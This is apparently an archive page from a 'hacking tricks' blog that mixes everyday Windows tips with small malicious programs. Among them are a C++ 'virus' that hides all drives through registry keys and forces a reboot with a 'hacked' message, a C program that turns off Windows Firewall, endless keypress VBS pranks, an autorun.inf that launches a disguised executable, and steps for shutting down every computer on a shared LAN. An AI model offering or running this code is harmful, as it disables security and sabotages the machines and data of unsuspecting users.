Showing posts with label Batch file tricks. Show all posts
Showing posts with label Batch file tricks. Show all posts

Thursday, 3 January 2013

Autorun.inf virus attack! Is autorun.inf virus?

This is the instructions that saved in the infected(call virus programs) autorun.inf file:

[Autorun] 
Open=RECYCLER\QqFvXcB.exe 
Explore=RECYCLER\QqFvXcB.exe 
AutoPlay=RECYCLER\QqFvXcB.exe 
shell\Open\Command=RECYCLER\QqFvXcB.exe 
shell\Open\Default=1 
shell\Explore\command=RECYCLER\QqFvXcB.exe 
shell\Autoplay\Command=RECYCLER\QqFvXcB.exe

Introduction to Autorun.inf File:
Auto run is file that triggers other programs,documents ,other files to be opened when the cd or pen drives are inserted.  Simpy triggers.

When cd or pen drives are inserted, windows will search for the autorun.inf file and follow the instructions of autorun.inf file(instructions have written inside the autorun.inf file).

How to create Autorun file?
Open notepad

type this command:

[Autorun]

save the file as "autorun.inf" (select all files, not text )

Complete Syntax and instructions inside the Autorun file:
Basic syntax must be inside  the autorun.inf file is :

[Autorun]

This will be used to identify the the file as autorun.

OPEN=

This will specify which application should be opened when the cd or pen drive is opened

Example:

open=virus.exe

This will launch the virus.exe file when cd or pen drive is opened.  The file should be in root directory.

if the file is in any other sub directories ,then we have to specify it.

Open=RECYCLER\Virus.exe

Explore=

Nothing big difference. if you right click and select explore option in cd or pen drive.  This command will be run.

AutoPlay=

Same as the above , but it will launch the the program when auto played.

SHELL\VERB =

The SHELL\VERB command adds a custom command to the drive's shortcut menu. This custom command can for example be used to launch an application on the CD/DVD.

Example:

    shell\Open\Command=RECYCLER\QqFvXcB.exe
    shell\Open\Default=1
    shell\Explore\command=RECYCLER\QqFvXcB.exe
    shell\Autoplay\Command=RECYCLER\QqFvXcB.exe

Use a series of shell commands to specify one or more entries in the pop-up menu that appears when the user right-clicks on the CD icon. (The shell entries supplement the open command.)

Icon=

Change the icon of your pen drive or cd.  you can use .ico,.bmp images(also .exe,.dll)

Example:

icon=hackingtalent.ico

Label=

Specifies a text label to displayed for this CD in Explorer

Note that using the LABEL option can lead to problems displaying the selected ICON under Windows XP.

Example:

Label=Ethical hacking

Why Antivirus Block Autorun.inf file?
From above ,you come to know that autorun.inf file is not virus.  But why antivirus blocks it?  Because as i told autorun file call or launch any application or exe files.  It will lead to virus attack.  If the autorun.inf is blocked,then there is no way to launch the virus code.

Autorun is not virus but it can call virus files.

Sunday, 28 October 2012

Trick to create empty Huge File


Here's the step by step guide to create a Empty Huge File :



  1. First we have to convert the desired file size into hexadecimal notation. You can use the Windows Calculator in Scientific mode do to this.To use Windows calculator in scientific mode Open calculator,click on view and select Scientific instead of Simple.

    Suppose you want a file of 1 million bytes.
    Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.)

    Pad the result with zeroes at the left until the file size reaches eight digits—000F4240.

Saturday, 22 September 2012

What is Batch Programming and need for it


Batch file programming

Batch file programming is nothing but a batch of DOS ( Disk Operating System ) commands, hence the name Batch programming . If you are into coding and know many languages you might have noticed that Operating System ( OS ) specific languages ( languages that work only on a particular operating system, eg: Visual Basic Scripting works only in Windows ) give you amazing control over the system. This is why Batch is so powerful, it gives you absolute control over DOS. Batch isn’t often used because it is OS specific, but it is fun and easy to learn. A well-conceived batch file is just the thing to automate the job you want to do.
Batch Files are stored with .bat extension.

Monday, 30 July 2012

How do u know that whether your antivirus is working or not ???

1.Open an empty notepad.

2.Copy and paste these line below.


X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

3.Save it as something.com (say test.com)

4.After that if ur antivirus alerts about it.....

Then okk......

Otherwise ur antivirus is not working....!!!

Make your PDF Speak

how to make ur pdf file speak:-

just follow the steps

1) open ur pdf file


2) then go to View>Read out Loud> Activate Read Out Loud.

3) after you have done that just do this.

4) now again go to the view>read out loud> read to the end of the document

i have tryed it ....

Friday, 27 July 2012

C++ ,Batch Virus code to disable All Hard disk

Hi friends,here i give you give the C++ virus code.  Actually Batch code is converted to C++ virus code.  If you like you can use it as batch code also.

C++ Virus Code :

#include < windows.h >
#include < fstream.h >
#include < iostream.h >
#include < string.h >
#include < conio.h >
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n"; write<<"shutdown -r -c \"Sorry Your System is hacked by us!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat ",NULL,NULL,SW_SHOWNORMAL); return 0; }


Sunday, 22 July 2012

Remove OS from boot menu when 2 OS are installed


If you have more then one operating system installed or wish
to remove an operating system from the boot menu, you can use the following information.

1.Click on Start, Control Panel, System, Advanced.
2.Under Startup and Recovery, click Settings.
3.Under Default Operating System, choose one of the following:

Saturday, 21 July 2012

C program to Block Windows Firewall


C program to Block Windows Firewall -------


if xp user then fire wall block in sec
if windows 7 user u need to restart pc---

#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
int main()
{
system("reg add HKLM\\system\\currentcontrolset\\Services\\SharedAccess\\parameters\\firewallpolicy\\standardprofile /v EnableFirewall /t reg_dword /d 0 /f");
system("reg add HKLM\\system\\currentcontrolset\\Services\\SharedAccess\\parameters\\firewallpolicy\\publicprofile /v EnableFirewall /t reg_dword /d 0 /f");
return 0;
}

Hit enter Simultaneously


Hit Enter Simultaneously


1. Open Notepad.

2. Copy and Paste the following code…..

Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “~(enter)” loop

3.Save it As Enter.vbs 4.Now Open the file……….

end see the magic……………..:)

Hit Backspace Simultaneously


Hit Backspace Simultaneously


1. open notepad.

2. copy and paste following co

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

3.Save it as “Anything.VBS”
4.Now open it and see the magic…..:D

Friday, 20 July 2012

Connect via LAN

How to Connect Two Windows Computers On LAN Using an Ethernet Crossover Cable

Following are the steps involved to configure both computers and connect them using a crossover Ethernet cable :

1. Turn off both computers and connect one end of the ethernet cable to the network card slot of computer1. Then connect the other end of the ethernet cable to the network card slot of computer2. The network card slot is located at the back side of computer CPU and looks somewhat similar to the following screenshot:


Ethernet slot of computer
2. After both the ends of the ethernet cable is connected, turn on both the computers one by one. It doesn’t matter which one you start with.

Thursday, 19 July 2012

Auto save passwords in IE

How to Auto Save Passwords Without Notification in IE

This brief tutorial will show you how to save your passwords and username automatically, without this annoying notification!

1. Click Tools.
2. Click Internet Options.
3. Select the Content tab.
4. Under the Autocomplete section, click Settings.
5. At this point, the Auto Complete settings Dialog box will popup. Untick the Prompt me to save passwords check box.
6. Click OK to save.

Tuesday, 17 July 2012

shut computer on lan


Shutdown all computers on a LAN.


Guys here is a amazing trick which you can use in your school, college office or at any place where you are a part of any LAN to shutdown all computers. Just follow some steps and you are done with this cool trick.

First of all you need admin access to a computer connected on any LAN.

Now open commant prompt. (start/run/cmd)

Now type “shutdown –i” (without quotes).

Check whether you are victim of RAT?

How to check whether you are victims of RATs or NOT?


1. Now every program has their own process which can be seen on task manager. So the first thing to do is to find out which process the Trojan is being attached to. If you see some unknown process search that on google. A good hacker will always Makes sure he hides its process with a Windows based Process, for eg. svchost.exe or something like that.

2. If you cant find, then the next thing you can do is use cmd (to open cmd prompt, Click on Start—>Accessories–>Command prompt).

3. Once Command Prompt is opened, use this command: netstat -an |find /i “listening”

Saturday, 14 July 2012

Batch File to Lock Computer


How to create the batch file to lock a folder?


1. Copy and paste the following codes in a notepad file.

cls
@ECHO OFF
title Folder Confidential
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Confidential goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Confidential "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter the Password to unlock folder
set/p "pass=>"
if NOT %pass%== Replace this Red portion with your password goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Confidential
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md confidential
echo Confidential created successfully
goto End
:End
[Download the text version of the code] [via Trap17.com]

2. Save the file as “Key.bat”. You are done. When you’ll double-click on the Key.bat file for first time, a folder “Confidential” will be automatically created. You can move all your confidential data in that folder.

Change text style in Chat


Edit text style in chat


1. For making the text Bold


type your words between * *(two stars ) will automatically turns into bold.

2. For underlined Text

type between _ _(two underscores) will automatically turns into underlined text

3. For writing Bold+Underline

Whatever you type between *_ _* will automatically turns into Bold+Underline

Access block website


Access Blocked Websites at School, Work or Anywhere


To access a blocked website, you can enter the IP address instead of the URL in your browser's address bar. You can find the IP address of the website by pinging the website domain name in command prompt and noting its IP address.

Convert FAT32 to NTFS without formatting?

Convert FAT32 to NTFS Without Formatting or Losing Data



Important: While this method works perfectly, I would still advise you to backup your data in case anything goes wrong.

FAT 32 to NTFS Conversion Steps

1) Go to Computer, and note the name of the drive whose file system you wish to convert.

2) Click on Start.

3) Type cmd in the search bar if you use Windows 7, Windows 8 or Windows Vista. If you use Windows XP, click on Run and then execute cmd.

4) Execute "chkdsk h: /f " (without quotes) where H is the letter of the drive to undergo conversion. This checks the drive for errors and fixes them automatically.

5) Execute "Convert H: /FS:NTFS" (without quotes). H is again the letter of the drive to be converted.

6) The command prompt will start the conversion process and after a few minutes, CMD will say that conversion was successful.

7) You can check it in the properties of the drive through right click<Properties.

This works on Windows 7, Windows XP, Windows 8 and Windows Vista.

Make personal diary in Notepad

Make a Personal Diary(Log) with Notepad

You can use this trick to create a personal log with Notepad which will automatically include the current date and time before your note. 


To do so, open Notepad and type .


LOG in capital letters and press Enter. 


Save the file. 


Now, every time you open this file, notepad will automatically insert the current time and date before the note. 


Just enter your note and save the file each time after making an entry.

All these Notepad tricks are totally harmless and would not harm your PC in any way. 



To close any of the VBS trick given, open task manager and close the wscript.exe process.